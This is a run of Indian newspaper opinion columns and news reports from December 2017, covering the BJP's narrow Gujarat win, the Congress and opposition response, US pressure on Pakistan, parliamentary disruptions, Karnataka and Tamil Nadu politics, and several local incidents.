There lies some irony in the fact that Prime Minister Narendra Modi made no references in his post-victory speech at the BJP national headquarters in New Delhi on Monday to a need to address any of the issues that helped create a sense of political revolt among the people, sharply cutting into his partys share of seats and votes. Admittedly, it was only a sliver of a victory, but it was an electoral victory nevertheless and the people of the state can rightfully expect appropriate assurances from their Prime Minister who had campaigned as though this win mattered to him more than anything else in the world. The PMs speech had a policy point to underscore. While no assurances were forthcoming for the people of Gujarat, Mr Modi spoke, in unambiguous terms, on going ahead with economic reforms.

Essentially, this means opening up the markets more and facilitating industry and business, both national and international. Reacting to BJPs narrow victory margin in Gujarat, the foreign media reflected the hope of international business when it said that the win does provide elbow room for Mr Modi to attempt greater reforms. A reversal of fortunes in Gujarat might have led to downing shutters on reforms, prominent sections of the western media speculated. It is some of Mr Modis reforms that have created popular discontent, which created a downside for the BJP in Gujarat. With five more state polls looming in the coming year, it is hard to say precisely which reforms the BJP will proceed with under Mr Modis guidance.

In case labour reforms are contemplated, it is practically certain that the government should expect a lot of political mobilisation against it, including by sections of the BJP and its trade union body, the BMS. Here on, after Gujarat, the political path for the BJP seems to be ridden with obstacles. The chances are that the multiplying of impediments can lead to an inner questioning within the ruling party on the broad issue of reforms since the next Lok Sabha election is also only just over a year away. Reacting to the Gujarat verdict, Congress leader Rahul Gandhi has said that it amounted to a good result for his party. Non-BJP parties that have traditionally been Congress opponents have also reacted positively to the good showing of that party in Gujarat. They seem mighty pleased that the BJP was given a scare in Gujarat. The signs currently are that the re-energised look of the Congress will help accelerate the process of Opposition unity. The BJP can help its own case if it adopts a more collegial stance now. The concentration of power in the hands of a coterie is clearly causing problems.
The BJP has been stunned by the Gujarat results but is doing what it can to put up a brave face. The Congress has lost, but the defeat has a bitter-sweet quality about it. There were times in the see-saw battle, as the votes were being counted, when a slim Congress victory did not appear far-fetched. The last dozen or so seats for which votes were tallied could have gone either way, so tight were the margins. The changed tone of an otherwise fiercely partisan and perennially pro-national television anchors who bow and scrape before the pettiest in the saffron brigade left nothing to the imagination. The loud-mouthed and ultra-aggressive BJP leaders, whose braggadocio had scaled embarrassing heights after the exit polls, suddenly appeared subdued. There is prospect in the circumstances thrown up by Gujarat of a return to capture lost ground by anti-Hindutva forces in states including the BJP-ruled states of Rajasthan, Madhya Pradesh and Chhattisgarh where Assembly polls are due in a few months. These set up the scaffolding for Lok Sabha 2019.

The most important outcome of the election in Gujarat is that it has raised the sights of a new turn in politics in the country which only weeks earlier had appeared improbable. The new Congress president Rahul Gandhi deserves every bit of credit for bringing about this transitional stage. Mr Gandhi skillfully guided the atmosphere of political insurrection in Gujarat brought about by the unremitting energies of Hardik Patel who was not old enough even to contest the election, and Alpesh Thakore and Jignesh Mevani. All three are household names now. They are not cut from the same cloth but their political design was clear. It was to defeat the BJP because the so-called Gujarat model of development stinks. Hardik, Alpesh and Jignesh became a living proof that the economic model of Prime Minister Narendra Modi works against the poor and that it is for the very rich and thats why it is being pushed with uncommon zeal. This was the reality on the ground based on which the revolt of ordinary Gujaratis was constructed, giving the BJP a torrid time. The RSS-BJP knows the story of Haldighati well.

They routinely portray the unyielding spirit of the Chittor ruler Maharana Pratap, in that battle of 1576, against the imperial forces of Emperor Akbar led by Man Singh, the famous Rajput warrior inimical to the Chittor chieftain, as a signpost of a natural and timeless Hindu-Muslim warfare that they preach as a key aspect of their perverse social engineering. Only in Gujarat this time round, it was Mr Gandhi who was Pratap and PM Modi the emperor himself  representing imperial power, imperial resources and low imperial cunning. And there was no Man Singh. There were no Gujarat BJP stalwarts to do the fighting. The emperor took on the burden himself. His life seemed so desperately to depend on it. He couldnt trust the others. Pratap Singh lost the engagement at the narrow pass. His troops were vastly outnumbered but fought to the end, supported by a brigade of Bhil archers, who have gone down in ballad and folklore. He himself escaped  to fight another day and win back a good part of the territories he had lost due to the defeat at Haldighati.

The heroic Bhil archers of Gujarat were Hardik, Alpesh and Jignesh. Without them the stage would not have been set, just as without Pratap there would be no action on the stage. It is not a case of one or the other. Leaders sometimes create the circumstances of their glory. Sometimes, they enter upon a specific situation and transform the scene. The incendiary circumstances present in Gujarat are the products of Mr Modis actions. In this state specially, several examples can be found of the pampering of big industry, and the short-changing of ordinary people and of the lower tiers of trade, business and industry, and of farmers and workers. Jobs are hard to come by. Conditions have been created for the alienation of farmers lands to be transferred to industry and the former tillers of land swell the ranks of the unemployed. Evidently, this time round in Gujarat the scurrilous hate propaganda relying on dog-whistle tactics  one day featuring a young woman arriving home safely but breathless as the Muslim call for prayer is sounded. Another day, the accusing of a Sikh former Prime Minister, a Muslim former vice-president and a Hindu former Army chief, of colluding with Pakistan to defeat Mr Modi in Gujarat  cut no ice. This makes it clear that for the proponents of Hindutva politics, it cannot be business as usual anymore.

The challenge has arrived. It concerns the burdens of everyday living  prices, unemployment, the miseries faced by farmers and workers and the policy imperatives needed to deliver affordable healthcare, education and homes. These are secular issues, or matters of everyday concern, not linked to religion. For these, Hindutva  the vehicle of political Hinduism  has no answers. The saffron brigade simply does not understand the expression secular. It foolishly mocks it. Its skill-set and class-orientation does not equip it to deal with the complexities involved in solving questions of liberal and secular politics and economics that aims to cut and end mass poverty. In lieu of grappling with such complexities, Hindutva uses the alchemy of befuddling the people with cultural nationalism, pride in the military way of life and unfurling of the national flag at the drop of a hat. But these failed to impress in Gujarat in the way they used to. Something has changed and this will be BJPs worry now.

The voter in Gujarat has just telegraphed Mr Modi and his acolyte Amit Shah to say that he does not need their certificate of patriotism and that he mastered the configuration behind the sentiment of Bharat Mata long before Hindutva arrived on the scene. If the challenge to the BJP has arrived in the shape of the demands of secular life, the challenger too has arrived in the shape of Mr Gandhi. What the new Congress president makes of the opportunity is to be seen, however. Does he have the largeness of imagination to take along all who wish to come along, and not be side-tracked by small-time bickering of everyday politics?
THERES a useful difference in losing and not winning. The Congress party lost Himachal Pradesh. It did not win Gujarat. However, both were elections of unusual importance, one that could determine the course of the fight against or surrender to the religious fascism hounding the country. Credit and blame cannot be an issue but it would help to know how and why the cookie crumbled the way it did. There was a man who could open any difficult lock if the owner lost the key. He would first pray with his eyes closed, and then blow his purified, sacred breath on the lock. The magician lock opener would then pull out a bunch of keys from his bag and, with one of them would successfully prise open the lock. The moral of the story may interest Rahul Gandhi. He visited several temples in the course of his Gujarat campaign and perhaps in Himachal Pradesh too. We need to ask how or if these visits helped his party in Gujarat, where it performed well but fell clearly (some say luckily) short of a win. And we may want to know why the same piety didnt give joy in Himachal Pradesh. Lets assume it was the key and not any prayer that worked in Gujarat then what constituted the key? It is a fact that Mr Gandhi is a vastly improved public speaker today than he ever was, and he has shown ample commitment, underpinned with dignity and occasional humour to combat a divisive and abusive campaign by his opponents.

But the opponents won. Ergo, divisive and abusive campaign won? The answer is yes and no. Prime Minister Narendra Modi may have lost some if not all of the votes he lost to his reckless if increasingly vacuous tongue. It is equally true that communal polarisation has a proven record of working for the prime minister. But does he have a copyright on this very old Indian trick? Given Gujarats history  pre-BJP history  with Hindu-Muslim mistrust this was not the territory where Mr Modi had to work very hard. Yet something has shifted. For example, in this election his desperate innuendos against former Prime Minister Manmohan Singh while not sparing a former Army chief or a bevy of former high commissioners to Pakistan, didnt seem to fly with the voters. The fact that Mr Modi looked troubled or even frightened by the Congress campaign cannot be denied. However, his bete noire was not Rahul Gandhis newfound voice or his youthful energy alone. Consider the possibility that it was the three firebrand caste leaders who joined hands with him, which worked for the Congress in Gujarat.

Perversely, the troika could be a foremost reason why some analysts see his not winning Gujarat as a blessing for the Congress. Imagine a government with a wafer-thin majority or a hastily cobbled minority coalition of mutually hostile satraps taking charge in Mr Modis den less than two years before the general elections. Liberal opinion-makers in their rush to see the fall of Mr Modi tend to forget how hazardous politically it would be to place a firebrand Dalit and an acid-spewing Patidar in the same political scabbard sans a patch of time for both to get accustomed to each other. The politically influential Patidars have a sad record of abusing and insulting Dalits. Think for a moment of a coalition of Dalit Mayawati and Mulayam Singh Yadav. It would be a surprise if it didnt fall apart before the takeoff. The new Congress president said things in his acceptance speech recently that touched the heart for its simple appeal. Many of us are disillusioned today by the politics of our times; what we see before us is a politics devoid of kindness and truth. So far so good. Politics belongs to the people, Gandhi continued. It is their greatest weapon in dismantling the structures that oppress, silence and disempower the people.

There is no double guessing the intentions and the feeling with which Mr Gandhi spoke. How should we regard the total absence of a single caring word for Muslims in Gujarat, however, who constitute some nine per cent of about 68 million people? We fight for everyone and for all those on the periphery, for all those relegated to the fringes. We fight for those who cannot fight alone, Mr Gandhi said. It is tempting to see the words alluding to the least empowered. In practice, however, one has seen other opposition leaders standing up to condemn fascism. For Mr Gandhi, the BJP members are his brothers and sisters though he doesnt agree with their politics. Have we heard the leader speak so gently of, say, Mr Arvind Kejriwal who greeted him warmly, about Mr Lalu Yadav or Ms Mamata Banerjee, about the communists? Have his aides told him that he stands to lose Hindu votes if he is not nice to the BJP? Or does he fear they could harm him if he is strident with Hindutva, unlike the contempt Indira Gandhi and Nehru reserved for the ilk?

The days ahead will show how Mr Gandhi will take on the Modi government. It is important to protest against Mr Modi for accusing respected Indians, including Dr Manmohan Singh, of colluding with Pakistan against the BJP. But that is the easier protest. We havent heard a squeak of protest from Mr Gandhi against the televised killing of a migrant worker from West Bengal by a Hindutva devotee in Rajasthan. We havent heard a word against the recent jailing of Christians in different parts of the country for singing Christmas carols. We want to know if Mr Gandhi endorses the BJPs protest against a legislator taking his oath in Urdu. Mr Gandhi may hold the key to the battle plan, but worry if he starts praying instead.

By arrangement with Dawn
'On Afghanistan, the US will continue to partner with it to promote peace and security in the region,' says White House Press Secretary Sarah Sanders. (Photo AFP)

Washington: US President Donald Trump has asked Pakistan to take "decisive action" against terror groups operating on its soil, as he unveiled America's new National Security Strategy.

The US will also encourage Pakistan to continue demonstrating that it is a responsible steward of its nuclear assets, the National Security Strategy (NSS) said.

Mandated by the Congress, Trump on Monday released his first NSS, according to which the US has asked Pakistan to intensify its counterterrorism efforts.

"We have made clear to Pakistan that while we desire continued partnership, we must see decisive action against terrorist groups operating on their territory. And we make massive payments every year to Pakistan. They have to help," Trump said in his remarks as he announced the NSS.

Pakistan has received more than USD 33 billion from US since the 9/11 terror attacks.

"We will press Pakistan to intensify its counterterrorism efforts, since no partnership can survive a country's support for militants and terrorists who target a partner's own service members and officials," it said.

The NSS links its efforts to build trade and investment ties with Pakistan with improvement in security.

The Trump administration has been talking tough with Pakistan after it came to power, but has stopped short of taking any action against it even though the Pakistani leadership have shown reluctance in taking decisive actions against terrorist groups.

On November 25, the White House asked Pakistan to immediately re-arrest and prosecute Hafiz Saeed, leader of Lashkar-e-Taiba.

"If Pakistan does not take action to lawfully detain Saeed and charge him for his crimes, its inaction will have repercussions for bilateral relations and for Pakistans global reputation," the White House Press Secretary Sarah Sanders had said.

On Afghanistan, the US will continue to partner with it to promote peace and security in the region, it said.

"We will continue to promote anti-corruption reform in Afghanistan to increase the legitimacy of its government and reduce the appeal of violent extremist organisations," it added.

In his South Asia speech on August 21, Trump became the first US president to publicly point out for its support to terrorist outfits and leaders.

"For its part, Pakistan often gives safe haven to agents of chaos, violence, and terror," he said and asked Pakistan to "demonstrate" its commitment to civilisation, order, and to peace.

The US, Trump then said, can no longer be silent about Pakistan's safe havens for terrorist organisations, the Taliban, and other groups that pose a threat to the region and beyond.

Since then top US leadership, including the Defence Secretary Jim Mattis and the Secretary of State Rex Tillerson, have visited Pakistan to press the latter.

Mattis has refused to give necessary certification to Pakistan that it is taking action against Haqqani network, as a result of which blocking several hundred million coalition support funds to Islamabad.
Two unidentified militants were killed in an overnight encounter with security forces in Shopian district of Jammu and Kashmir, the Army said today.



Security forces launched a cordon and search operation in Wanipora area of Shopian yesterday evening following information about presence of militants in the area, an Army official said.

He said the search operation turned into an encounter as militants opened firing towards the security forces.

"Two militants have been killed so far and the operation is still in progress," the official said.
US President Donald Trump has asked Pakistan to take "decisive action" against terror groups operating from its soil, as he unveiled America's new National Security Strategy (NSS).



Mandated by the Congress, Trump yesterday released his first NSS, according to which the US has asked Pakistan to intensify its counterterrorism efforts.

"We have made clear to Pakistan that while we desire continued partnership, we must see decisive action against terrorist groups operating on their territory. And we make massive payments every year to Pakistan. They have to help," Trump said in his remarks as he announced the NSS.

Pakistan has received more than USD 33 billion from US since the 9/11 terror attacks.

"We will press Pakistan to intensify its counterterrorism efforts, since no partnership can survive a country's support for militants and terrorists who target a partner's own service members and officials," it said.

The US will also encourage Pakistan to continue demonstrating that it is a responsible steward of its nuclear assets, the NSS said.

The US will continue to partner with Afghanistan to promote peace and security in the region, it said.

"We will continue to promote anti-corruption reform in Afghanistan to increase the legitimacy of its government and reduce the appeal of violent extremist organisations," it added.

The NSS links its efforts to build trade and investment ties with Pakistan with improvement in security.

"We will press Pakistan to intensify its counterterrorism efforts, since no partnership can survive a country's support for militants and terrorists who target a partner's own service members and officials," it said.

Observing that the US continues to face threats from transnational terrorists and militants operating from within Pakistan, the NSS said the prospect for an Indo-Pakistani military conflict that could lead to a nuclear exchange remains a key concern requiring consistent diplomatic attention.

The Trump administration has been talking tough with Pakistan after it came to power, but has stopped short of taking any action against it even though the Pakistani leadership have shown reluctance in taking decisive actions against terrorist groups.

On November 25, the White House asked Pakistan to immediately re-arrest and prosecute Hafiz Saeed, leader of Lashkar-e-Taiba.

"If Pakistan does not take action to lawfully detain Saeed and charge him for his crimes, its inaction will have repercussions for bilateral relations and for Pakistans global reputation," the White House Press Secretary Sarah Sanders had said.

In his South Asia speech on August 21, Trump became the first US president to publicly point out for its support to terrorist outfits and leaders.

"For its part, Pakistan often gives safe haven to agents of chaos, violence, and terror," he said and asked Pakistan to "demonstrate" its commitment to civilisation, order, and to peace.

US, Trump then said, can no longer be silent about Pakistan's safe havens for terrorist organisations, the Taliban, and other groups that pose a threat to the region and beyond.

Since then top US leadership, including the Defence Secretary Jim Mattis and the Secretary of State Rex Tillerson, have visited Pakistan to press the latter.

Mattis has refused to give necessary certification to Pakistan that it is taking action against Haqqani network, as a result of which blocking several hundred million coalition support funds to Islamabad. PTI LKJ AJR AMS
The proceedings of the Lok Sabha were adjourned for nearly 30 minutes today amid slogan- shouting by Congress members demanding an apology from Prime Minister Narendra Modi for his remarks against his predecessor Manmohan Singh.



As soon as the Question Hour began, leader of Congress in the House Mallikarjun Kharge raised the issue but Speaker Sumitra Mahajan refused to entertain his demand during the Question Hour.

Soon, Congress members trooped into the Well raising slogans against the Prime Minister such as "pradhan mantri maafi mango" (PM apologise) and "pradhan mantri sadan mein aao" (PM come to the House).

The Prime Minister was not present as he is touring Ockhi cyclone-hit states in southern India.

The Question Hour continued amidst din even as Mahajan threatened Congress MPs that she would 'name' them. Naming of a member by the Chair generally leads to disciplinary action.

She said whatever happened in an election campaign should not be used to disrupt the House. "The elections are over and the results are out. I cannot allow you to raise the issue here," she told the agitating members.

Kharge and NCP's Tariq Anwar said the issue should not be linked to polls.

Newly-elected Congress member Sunil Jakhar said if there was any truth in Modi's claim that Singh had conspired with Pakistan to rig the Gujarat poll verdict, the government should file a case against the former Prime Minister.

Parliamentary Affairs Minister Ananth Kumar also urged the Congress members to take their seats and participate in the Question Hour.

A visibly upset Speaker said while the Congress has been accusing the government of not convening the Winter session on time, they were disrupting it now.

Around 11.30 am, she adjourned the House till noon.
The impressive show by the Congress, reducing the BJP to below 100 seats in Gujarat, will enthuse the Opposition to aggressively pursue the 'unity mantra' to bring around the 'doubting Thomases' in their stable.



The non-Congress opposition now believes that Prime Minister Narendra Modi's electoral invincibility is shaken, and a campaign based on alternate policies and not on personalities would gain results in the 2019 Lok Sabha polls.

In the immediate future, the Congress will be facing the crucial Assembly polls in Karnataka with much more confidence, while pushing the speculation over Modi advancing the General Elections to the back-burner.

The results will make Congress president Rahul Gandhi, who reached out to Opposition leaders in a dinner meeting, more acceptable to other parties.

The Congress will be playing a more aggressive leadership role, but Opposition leaders feel that the party should not play the "big brother" based on one election and take along all others.

The result may force parties like BSP to re-think its strategy in Uttar Pradesh.

The Opposition wants to "build a narrative" on the worsening agrarian crisis, rising job loss and businesses affected by GST and demonetisation, among other "people's issues" to counter the BJP's polarising subjects that appeal to the emotions.

"Do not fall into Modi's trap" is the common refrain among leaders.

However, some leaders of the Opposition, such as CPM's Sitaram Yechury, TMC's Derek O'Brien and CPI's D Raja, are determined to not changing the contest to a Modi vs Rahul fight.

"I think the take-away is that the Opposition has to get together with a policy alternative. It can't be Modi vs Rahul. Indications (about a paradigm shift) are sufficient. But that will materialise only through a policy alternative," Yechury told DH.

O'Brien feels that having a "personality contest" would be to "play into the BJP's hands", which would make the contest about polarising issues.

Raja said "there is hope for the Opposition and a policy-based initiative is what is needed".

Samajwadi Party chief Akhilesh Yadav emphasised the need for the Opposition "joining hands" to take up issues of farmers and youth, while rebel JD(U) leader Sharad Yadav noted that "united efforts can give a strong fight to opponents".

RJD's Manoj K Jha believes that the Gujarat results are a "rude shock" to the Modi-Amit Shah combo, who "dream of an Opposition-free India".

"The message is clear. Take politics to people. Engage with real issues. People are willing to jettison individual-centred authoritarianism," he said.
Sixty one farmers have committed suicide in Chhattisgarh between April and November this year, the state government informed the Legislative Assembly today.



State Revenue Minister Premprakash Pandey gave this information in a written reply to a question asked by Leader of Opposition TS Singhdeo.

"Sixty one farmers have committed suicide across Chhattisgarh between April 1 and November 30, 2017," the minister said.

As per the reply, 14 farmers have committed suicide in Balodabazar district during the period, followed by Kabeerdham (13), Bemetara (9), Rajnandgaon (9) and Durg (4).

Similarly, three suicides were reported in Dhamtari district, two each in Raipur, Balod, Kanker and Mahasamund while one in Janjgir-Champa, the reply said.
The government on Tuesday set a deadline of April 25, 2018, for deputy commissioners to finish works under a new scheme to utilize unspent Local Area Development (LAD) funds amounting to Rs 405 crore.



Last week, Minister for Planning M R Seetharam announced that the government had identified unspent LAD funds of Rs 405 crore from 2002 to 2013, lying idle in the accounts of the deputy commissioners. Since these are lapsed funds over which legislators can no longer stake a claim, the government has drawn up a new scheme - Sidda Sarkarada Nade Sevegala Kade - to spend them.

Of the Rs 405 crore, the Education Department has been given Rs 243 crore for construction or repair of 2,719 classrooms in government schools; Rs 122 crore for the Health Department to provide basic infrastructure in 309 government hospitals; Rs 40 crore to the Women and Child development department to construct 346 anganwadis.

"Officials have been directed to float short-term tenders before January 8, open bids on January 22 and issue work orders before January 26. They have been asked to upload photographs of works in progress every 15 days," Seetharam told reporters.

The Uttara Kannada district has received the highest allocation (Rs 35 crore), followed by Chief Minister Siddaramaiah's home district of Mysuru (Rs 27.90 crore), Tumakuru (Rs 27.86 crore) and Kalaburgi (Rs 25.19 crore).
DMK leader M K Stalin today vowed to unravel the "mystery" behind the death of Chief Minister J Jayalalithaa in December last year and bring to book anyone found involved, as he claimed that the AIADMK government would not last long and his party would return to power.



He said this while canvassing for DMK candidate N Maruthu Ganesh on the last day of the campaign for the December 21 bypoll to RK Nagar assembly constituency, represented by Jayalalithaa twice.

Stalin said there was a "mystery on how Jayalalithaa passed away and what kind of (medical) treatment was provided" to her during her 75-day hospitalisation, as he dismissed as an "eyewash" the inquiry ordered by the state government into her death.

He asserted the K Palaniswami government would fall once the court delivered its verdict in pending cases (related to the disqualification of 18 rebel AIADMK MLAs and the DMK's plea for action against deputy chief minister O Panneerselvam and his loyalist MLAs for voting against the chief minister).

Asserting that the DMK would storm to power subsequently, he said its first job would be to find out who was responsible for Jayalalithaa's death.

"The first job of the DMK rule will be to find out who is responsible for Jayalalithaa's death and lock them up in prison," Stalin, the Leader of the Opposition in the Assembly, said.

The bypoll is being held to fill the vacancy caused by the death of Jayalalithaa on December 5 last year.

The state government-appointed one-man commission of inquiry has already begun its probe into the circumstances leading to the hospitalisation of Jayalalithaa on September 22, 2016, and treatment provided till her demise.

The commission, headed by retired high court judge A Arumughaswamy, has invited all those having "personal knowledge and direct acquaintance" in the matter to furnish information to it.

Following Jayalalithaa's death, suspicion over the circumstances leading to her demise was raised by several persons, including Panneerselvam and his followers.

A probe into her death was one of the key demands made by his group for its merger with the Palaniswami-led faction, which eventually took place in August this year.

Stalin also said though RK Nagar was a "VIP constituency" there was "no indication" of it on the ground.

He questioned what development works had been taken up by the AIADMK government in the constituency.
Demonetisation appeared to have not much effect on militant activities in Jammu and Kashmir while the government had some success on Naxal and north-east insurgency front.



The Ministry of Home Affairs informed Lok Sabha on Tuesday that the security situation in the country has shown improvement post demonetisation while acknowledging that the terror incidents have gone up in Jammu and Kashmir this year in comparison to last year.

At the same time, Minister of State for Home Hansraj Ahir also said, that stone pelting incidents in Kashmir have reduced considerably.

According to Ahir, there were 341 terror incidents in Kashmir between November 1, 2016, to October 31, 2017 as against 311 during the same period in the previous year.

While Kashmir saw an increase, on the naxal front there was a decline. As against 1,078 incidents from Nov 1, 2015 to October 31, 2016, there were only 857 incidents of Maoist violence in the past one year.

There were 323 militancy-related incidents in the north-east between November 1, 2016, to October 31, 2017 in comparison to 507 in the same period of the previous year, Ahir said.

In Maoist areas, Rs 90 lakh have been seized from Maoist cadres or supporters since demonetisation while 564 cadres and sympathisers have surrendered. "The North-East insurgency activities are at low ebb in many states," he added.

To another question, Ahir said there were 771 ceasefire violations by Pakistan along the Line of Control upto December 10 this year and 110 on International Border till November. During the same period last year, the ceasefire violations on LoC was 228 and 221 on International Border.

Twelve civilians, 14 Army personnel and 4 BSF personnel were killed in these ceasefire violations, he said.
In the midst of the standoff with the government over objectionable remarks against former prime minister Manmohan Singh, the Opposition may drop its demand for an apology by Prime Minister Narendra Modi and insist on a "clarification" in Parliament.



The indication of a climb-down came after a meeting of Opposition leaders, including Ghulam Nabi Azad and Anand Sharma, with Finance Minister Arun Jaitley, Parliamentary Affairs Minister Ananth Kumar and junior ministers Vijay Goel and Arjun Ram Meghwal.

The Opposition had stalled proceedings in both the houses of Parliament insisting on an apology by Modi for casting aspersions on Singh, former vice president Hamid Ansari and former Army chief Deepak Kapoor accusing them of hatching a conspiracy with Pakistan to defeat the BJP in Gujarat elections.

Last week, the former prime minister had met Vice President and Rajya Sabha Chairman M Venkaiah Naidu and is learned to have voiced strong disapproval over Modi's remarks on the campaign trail.

In a bid to end the impasse in Parliament, Naidu suggested a meeting between Opposition leaders and the government to find an amicable solution.

"We have given our proposition to the government and are waiting for their response. .. It was clear to us that the government interlocutors will talk to the prime minister and revert," Sharma told reporters here when asked about the meeting.

He reiterated the demand for a clarification by the prime minister and expression of regret on the floor of the House.

"What we are asking is justified and fair," Sharma said terming Modi's claims of conspiracy as an "uncalled for transgression".

Parliament sources said the Congress may insist on a clarification by the Prime Minister and may drop the demand for an apology.

"Given the prime minister's approach, we are unsure whether he would be ready for even a clarification," an Opposition leader said.

Singh had asked Modi to apologise to the nation for claiming that Singh was conspiring with Pakistan for BJP's defeat in the Gujarat polls.

The former prime minister had rejected Modi's claims at an election rally as "innuendos and falsehoods" and said that he was deeply pained by the prime minister's "ill thought transgression".
The resurgent Congress stormed into the Lok Sabha Well on Tuesday, demanding an apology from Prime Minister Narendra Modi for "insinuating" that his predecessor Manmohan Singh "colluded" with Pakistan to help his party win elections in Gujarat.



The Congress members, who created a ruckus while putting pressure to have their demands met, staged a walkout in protest during Zero Hour as Speaker Sumitra Mahajan refused to allow them to speak.

The government condemned the Opposition's conduct, calling it "shameful".

"Congress members tried to hold a mock proceeding in the House, storming into the Well. They insulted the Speaker as they started speaking one after another from the Well. We condemn it. May the almighty instil a good conscience in them. That's all I wish for them, so that they do not repeat it in the future," Parliamentary Affairs Minister Ananth Kumar said.

Pandemonium broke loose in the Lok Sabha soon after the House assembled for the day and the Question Hour began.

The Congress members trooped into the Well raising slogans like pradhan mantri maafi maango (prime minister, apologise).

They also demanded permission to speak on the prime minister's remark about his predecessor during the run-up to the just-concluded Assembly polls in Gujarat, which the speaker denied.

"I cannot allow you to speak here about something that happened during the elections. The elections are over and the results are out. Please go back to your seats," she told the agitating Congress members.

When the Congress members refused to relent despite repeated requests by the speaker, Sumitra adjourned the Question Hour for about half an hour, in order to meet again during Zero Hour at 12 noon.

The Congress members, however, continued with their agitation on the floor of the House by trooping into the Well during the Zero Hour proceedings.

Amid the uproar, senior Congress leader Mallikarjun Kharge rose from his seat and began reading a written speech without permission from the Chair, even as his voice was drowned in the din and could not be heard properly.

Congress members, subsequently, staged a walkout in protest.

"Mallikarjun Khargeji is such a senior leader. But even he rose from his seat and began reading his speech. The Congress has been a ruling party for several years. We strongly condemn that they insulted the speaker," Ananth Kumar said later, while making a statement in the House over the uproar.
That Mumtaz Mahal, the empress consort of the Mughal king Shahjahan, was extremely beautiful is known to all and the Taj Mahal stands witness to her allure.



It might, however, be dangerous to say so to your wife.

Heaping praise on Mumtaz Mahal while taking a walk at the Monument of Love by a man irked his wife so much that she refused to get herself photographed with him.

The hubby got angry with the wife's refusal and allegedly slapped her, triggering a heated exchange between them.

The incident occurred on the premises of the Taj on Monday, when a couple from the nearby town of Aligarh was visiting the monument in Agra.

According to reports, the hubby, while taking a walk there, started heaping praise on Mumtaz Mahal's beauty, not realising that it could hurt his wife.

Another woman tourist, a constable, scolded the man and asked him to apologise, reports said. She also reported the matter to the CISF personnel there.

Calm after storm

The other family members, who accompanied the couple, intervened and prevented the matter from taking an ugly turn.

The hubby said that he was only joking and later sought his wife's forgiveness. After the apology, the wife happily posed for photographs with him, reports said.
Bollywood star Sunny Leone's tweet, announcing her inability to attend the New Year's event in Bengaluru on safety grounds triggered a massive outpouring of support from twitterati. They wondered aloud how a 'progressive' government surrendered to the threats of fringe elements and failed to guarantee her safety.



Here's how Leone rationalised her decision to opt out of the celebrations: "Since the police of Bangalore have publicly said that they will not be able to ensure mine & all who attend safety for my New Years event, my team & I feel,safety of the people should always come first therefore I cannot attend. God bless & I wish everyone a safe & happy New Year!"

The tweet had earned 3,700 likes and 666 retweets by Tuesday evening, sparking a huge debate on law and order, safety and the government's position.

Standup comedian Kunal Kamra responded through a tweet to the Congress, questioning their double standards. "Shameful that you guys criticize law and order in UP but can't even manage an event in Bangalore, Chodo yeh double standards & get your act together on this one."

Writer and blogger Sandip Ghose tweeted that he was proud of Leone's stand. "More power to you. Surprised that a government under the progressive #CongressPresidentRahulGandhi not able to provide security. Stay strong. The youth and the young at heart are with you," he said.

But he was disappointed that the liberal citizens of the city had not issued a statement and organised a march on Brigade Road in support of the actor.

Another Twitter user wondered how the city police could back out from providing security to a performance. "This is the failure of the system in which we live today..moral policing by a bunch of goons.. and shocking that a police machinery of a state cannot ensure security," tweeted another user, Suresh.

A few dubbed the threat to Leone as part of right wing extremism. "If you cannot provide security for such a small event then how would people of Karnataka feel safe?" wondered one user. However, another user, Capt Mohit Kohli termed Leone's decision as a wise move.

"Moreover, an artist should not perform in such an unartistic environment, hampers your spirit. Come to Delhi instead...Please!" he urged her.

In Gaurav Tiwari's views, Karnataka Rajyotsava or New Year's eve can both happen simultaneously. "It must be left for the crowd to decide what they want to attend," he said.
Citing lack of security, Bollywood actor Sunny Leone on Tuesday backed out of her controversial New Year's Eve show in the city.

She placed the blame on the police, saying they had openly announced they could not ensure her safety.

She tweeted twice within five minutes, the first tweet going out at 5.57 pm.

Her tweets went viral, and between them, and had garnered 6,200 likes by 10 pm.

The former porn star's decision comes after the Karnataka government refused to allow the New Year bash at White Orchid Convention Centre, Manyata Tech Park, on December 31.

Senior officers told DH they were determined to keep the city incident-free, and were playing safe. They said they were under extra pressure this year, with the High Court monitoring their preparedness to manage the crowds on December 31.

Minister's decision

After a small group protested against the upcoming show, home minister Ramalinga Reddy on December 16 said he had instructed the police not to allow Sunny Leone to perform.

The hosts, Times Creations, have knocked on the doors of the High Court, challenging the government's decision.

Sunny was to dance and cut a cake to welcome the New Year. The event also included performances by DJ Progressive Brother, DJ Villas Monnappa and All OK Kannada Rappers.

The case is coming up for hearing on December 21.

Hosts reeling

Sunny Leone's back-to-back tweets left the organisers in despair.

"We are in constant touch with her and members of her team, and we are confident she will not let us down. We also hope the court will rule in our favour," said Harish, managing director of Time Creations.

He said he could not cancel the show on his own, and would have to talk to friends who had invested in the event.

Tickets available

Three days after the government refused permission for Sunny Night, online ticketing site Book My Show continued to sell tickets priced at Rs 2,999 and Rs 7,999.

BOX



Performance anxiety

Dec 14: A public-interest petition in the High Court seeks a ban on sale of liquor on New Year's Eve.

Dec 16: Court suggests a ban on revelry if the govt can't maintain law and order. City police commissioner T Suneel Kumar files a detailed report promising safety. Home minister Ramalinga Reddy, meanwhile, says he won't allow the Sunny Leone show. Dec 17: No one has sought licence for Sunny Leone show, says police chief.

Dec 19: Hosts approach High Court. Hearing coming up on Thursday. Sunny Leone tweets she is not coming.

Box



What she tweeted

Here are @SunnyLeone's tweets on Tuesday (unedited):



* 5.57 pm: Since the police of Bangalore have publicly said that they will not be able to ensure mine & all who attend safety for my New Year's event, my team & I feel, safety of the people should always come first therefore I cannot attend. God bless & I wish everyone a safe & happy New Year!



* 6.03 pm: To all those who protested and to all those who supported, always remember, never allow others to speak and choose for you. Have your own voice and make your own choices. You are the youth and you are the NEW INDIA! Stand Proud and Stand together. I love you all dearly!
Two Kashmiri brothers were assaulted by a group of four men in a road rage incident in Sanjaynagar, purportedly because they failed to communicate in Kannada. Police have arrested two of the suspects and identified the rest. The incident occurred around 12.15 am on December 10.



Lisan Ahmed (24), a hotel management student, and his elder brother had pulled in at NTI bus stop to return a phone call. Four men on two motorcycles stopped by. Speaking Kannada, they demanded why had they parked their car in the middle of the road. The brothers asked them to speak Hindi or English.

The men got angry at their response and picked a fight with them. Both the parties got into fisticuffs. The four men managed to overpower the brothers and went on to smash the windshield of their car and stone the automobile.

Lisan called Namma 100. A Hoysala patrol car arrived at the spot soon after. Police took the brothers to KC General Hospital for a medical examination before taking them to the Sanjaynagar police station. The brothers filed a complaint that they were assaulted for not knowing the local language. Both the parties were drunk as they were returning from parties on Sunday night, police said.

